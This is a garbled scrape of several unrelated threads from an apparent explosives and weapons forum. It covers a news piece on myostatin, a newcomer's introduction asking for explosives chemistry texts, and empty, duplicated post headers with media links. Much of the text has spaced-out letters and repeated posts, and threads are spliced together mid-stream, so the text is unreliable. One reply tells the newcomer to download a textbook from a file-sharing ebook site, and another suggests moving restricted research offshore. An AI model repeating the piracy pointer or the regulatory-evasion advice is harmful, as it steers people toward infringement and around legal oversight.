gene and reported a history of unusual strength in her extended family. The boy, however, is the first individual known to lack any myostatin at all.
Blocking myostatin in mice makes them twice as muscular as usual, but no one knew whether a similar approach would work in humans. The discovery of the boy opened up
that possibility, and made it easier to get approval for a major clinical trial to see if blocking myostatin with an antibody therapy developed by pharmaceutical firm Wyeth will
prevent further muscle loss in people with muscular dystrophy.
Muscular dystrophy causes a different kind of muscle wasting from that seen in disuse or disease - the muscle cells do not just shrink, they die. Myostatin is thought to keep
muscle stem cells called satellite cells in check, and in its absence the satellite cells give rise to new muscle cells. Blocking myostatin will not solve the underlying causes of
muscular dystrophy, but by boosting muscle growth it might help compensate for the lost tissue. However, it is possible that the treatment might exhaust the supply of satellite
cells, in which case it would provide only a temporary reprieve.
The antibody trial is now under way at centres around the world and the first results are expected by the end of the year. It is hoped that myostatin blockers could also help
treat other kinds of muscle wasting and the elderly. Meanwhile, everyone is waiting to see whether the first documented superbaby will grow into a superman.
sparkchaser November 21st, 2006, 04:30 AM

How very interesting! So now we have the ability to block the myostatin until we run out of stem cells, but how do we induce a higher level of stem cells for the people who
would need them, i.e. MD victims? From what I've seen on the stem cell front, things are pretty well blocked by the christian right as far as fetal stem cell research goes. Has
anybody heard anything about how things are going with the whole stem cells from teeth theory?
Jacks Complete November 21st, 2006, 06:16 PM

Get the Chinese to do it? Or do it otherwise "off-shore".

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A little introduction
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I play with matches Novem ber 8th, 2006, 09:55 AM

Greetings fellow scien ce enthu siasts!
I a m new to the forum, so I figured I m ight introduce m yself.
I'm a 22 yea r old student working on my Forensic science m aste r, having recently completed a Physics degree in london (woot
UCL top 3 reasearch uni in the world of physics :p) and have decided I want to be l i k e H o r a t i o C a i n e , J a c k B a u e r a n d J o n a s
from the unit all put into one.
Yes thats right, I am going to become the super cop, with a specialization in firea m s , e x p l o s i v e s a n d t e r r o r i s m . I a l r e a d y h a v e
an unhealthy obsession with firearms and can rattle on for hours about things like 9mm Vs .45AC P or what country m a k e s t h e
best rifles (that would be Germany, the fatherland thank you very m uch) but although I am a n a v i d e x p l o s i v e s e n t h u s i a s t
( m a d e a f l a m i n g t e n n i s - b a l l m ortar an d a great 600 chain explo ding firecracker, now THAT was cool :D) I know precious little
a b o u t e x p l o s i v e s . B e i n g f r o m a physics backround I can deal with the blast mechanics and stuff, but I just dont have the skills
in the chem istry department (m y dad was a chem ist so he kinda put m e off it at an early age, wouldnt wanna be lik e m y dad
now would I?) and it seems th is is place to go.
I've taken a quick (but by no m eans thorough) look at the links, and I was wondering if anyone knew of any good introductory
text books or links (or evene better, links to pdfs of textbooks :p) at about A-level (first year of uni in the states) with som e
b a s i c e x p l a n a t i o n o f t h e c h e m istry, m a k i n g , d e tection a nd that kinda stu ff.
O h y e a , I d o h a v e o n e thing I found, an explosives guide by the FBI (wh ich was a little com plicated for m e T B H ) a n d w a s
wondering if you guys were interested I could post a link/upload it if you want.
megalomania Novem ber 8th, 2006, 01:34 PM

W e l c o m e t o T h e F o r u m , m atches. Didnt they m a k e y o u t a k e a n y chem at uni? I know they m a d e m e take physics :( I was
about to ask you, while reading your thread, if you could recom m e n d a n y f o r e n s i c s t e x t b o o k s o n c r i m e scene investigations of
h o m icides and trace evidence
I wonder what kind of textbooks you were asking about exactly? I will assum e chem istry for the tim e b e i n g . I t h i n k w e h a d a
t h r e a d a b o u t t h a t r e c e n t l y s o m e w h e r e a r o u n d h e r e . I f I h a d t o m a k e o n e r e c o m m endation, it is what m y research adviser
recom m e n d e d t o m e, March's Advance d O r g a n i c C h e m istry. OK, so m aybe that is not exactly introductory, but I think a
physicist could handle it. Get thee over to eboo k s c l u b . o r g , s i g n u p , a n d d o w n l o a d t h e b o o k . T h e y h a v e t o n s o f c h e m b o o k s .
G o a h e a d a n d upload that FBI guide if you will.

A lib rary request, no m atter how well phrased, is still a library request.
Cobalt.45 Novem ber 9th, 2006, 10:57 PM

So, does this m ean that "I play with m atches" got burned?
nbk2000 Novem ber 10th, 2006, 06:00 AM

Only if he do esn't contribute in a hurry. ;)

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Davo June 25th, 2005, 12:44 PM

Davo June 25th, 2005, 12:44 PM

meselfs June 27th, 2005, 06:47 PM

meselfs June 27th, 2005, 06:47 PM

megalomania June 28th, 2005, 01:02 AM

Ahh, here is the article:

megalomania June 28th, 2005, 01:02 AM

Ahh, here is the article:

meselfs June 28th, 2005, 01:26 AM

Nice info, Mega.

meselfs June 28th, 2005, 01:26 AM

Nice info, Mega.

kingspaz June 28th, 2005, 12:33 PM

kingspaz June 28th, 2005, 12:33 PM

nbk2000 July 1st, 2005, 02:13 PM

nbk2000 July 1st, 2005, 02:13 PM

Marvin July 2nd, 2005, 04:09 AM

Marvin July 2nd, 2005, 04:09 AM

Davo July 2nd, 2005, 04:23 AM

Davo July 2nd, 2005, 04:23 AM

another_number July 9th, 2005, 10:42 AM

another_number July 9th, 2005, 10:42 AM

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meselfs June 25th, 2005, 05:57 PM

First 4 images, then a 9 mb video.

The Fellow Who Lives in my Corner (http://web.pdx.edu/~bsemerj/Graphics/CornerMan.mpg)

meselfs June 25th, 2005, 05:57 PM

First 4 images, then a 9 mb video.

The Fellow Who Lives in my Corner (http://web.pdx.edu/~bsemerj/Graphics/CornerMan.mpg)

Jacks Complete June 25th, 2005, 08:47 PM

Jacks Complete June 25th, 2005, 08:47 PM

tom haggen June 25th, 2005, 11:20 PM

tom haggen June 25th, 2005, 11:20 PM

meselfs June 26th, 2005, 01:32 AM

Are those solidworks drawings?

No, they're done in Cinema 4d: http://www.maxon.net

meselfs June 26th, 2005, 01:32 AM

Are those solidworks drawings?

No, they're done in Cinema 4d: http://www.maxon.net

Jacks Complete June 26th, 2005, 08:32 AM

Jacks Complete June 26th, 2005, 08:32 AM

meselfs June 27th, 2005, 12:25 AM

Thanks for the kind words, everyone!

I just experimented with traditional animation:

http://web.pdx.edu/~bsemerj/Temp/Avatar.gif (am using this image elsewhere)

meselfs June 27th, 2005, 12:25 AM

Thanks for the kind words, everyone!